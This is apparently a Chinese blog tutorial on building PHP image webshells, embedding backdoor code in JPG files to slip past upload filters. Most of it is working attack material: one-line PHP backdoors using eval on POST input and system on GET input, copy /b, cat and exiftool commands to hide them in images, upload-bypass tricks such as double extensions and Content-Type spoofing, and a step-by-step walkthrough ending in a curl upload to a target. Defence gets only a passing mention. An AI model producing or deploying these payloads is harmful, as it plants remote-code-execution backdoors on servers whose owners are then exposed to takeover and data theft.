图片马(Image Webshell)是一种将恶意代码(如 PHP、ASP、JSP 脚本)嵌入到图片文件中,以绕过上传检测和安全防护的技术。
核心思路:
常用场景:
.jpg、.png 文件)。在制作图片马时必须保留原始图片头部数据,否则无法通过文件类型检测。
| 图片格式 | 魔数 (Magic Number) | 十六进制表示 | 特点 |
|---|---|---|---|
| JPEG / JPG | ÿØÿà 或 ÿØÿÛ | FF D8 FF E0 / FF D8 FF DB | 最常用,短头部,适合插入代码 |
| PNG | .PNG | 89 50 4E 47 0D 0A 1A 0A | 8 字节头部,必须保留 |
| GIF87a | GIF87a | 47 49 46 38 37 61 | 旧版 GIF |
| GIF89a | GIF89a | 47 49 46 38 39 61 | 常见 GIF |
| BMP | BM | 42 4D | 位图文件 |
| TIFF (Intel) | II* | 49 49 2A 00 | 小端序 |
| TIFF (Motorola) | MM* | 4D 4D 00 2A | 大端序 |
| WEBP | RIFF....WEBP | 52 49 46 46 xx xx xx xx 57 45 42 50 | RIFF 格式图片 |
注意:
file.php.jpg、Base64 编码,绕过部分检测。cmdcopy /b normal.jpg + shell.php hacked.jpg
/b 二进制模式normal.jpg 正常图片shell.php 一句话木马hacked.jpg 输出文件cmdexiftool -Comment="<?php @eval($_POST['cmd']);?>" normal.jpg
bashcat normal.jpg shell.php > hacked.jpg
bashecho "<?php @eval(\$_POST['cmd']);?>" >> normal.jpg
mv normal.jpg hacked.jpg
bashexiftool -Comment="<?php system($_GET['cmd']);?>" normal.jpg
hacked.php.jpghacked.PhPContent-Type: image/jpegbashtail hacked.jpg
bashstrings hacked.jpg | grep "<?php"
file hacked.jpg 检查真实类型上传成功后,要结合服务器解析漏洞执行代码:
file.php.jpg 可能被解析为 PHPxxx.jpg/1.php 触发执行风险:图片马一旦执行,可直接成为 webshell,危害极大。
防御措施:
bash# 1. 准备文件
cp test.jpg normal.jpg
echo "<?php @eval(\$_POST['cmd']);?>" > shell.php
# 2. 合并图片和木马
cat normal.jpg shell.php > hacked.jpg
# 3. 检查文件尾部
tail hacked.jpg
strings hacked.jpg | grep "<?php"
# 4. 上传并访问
curl -F "file=@hacked.jpg" http://target/upload
本文作者:晏秋
本文链接:
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!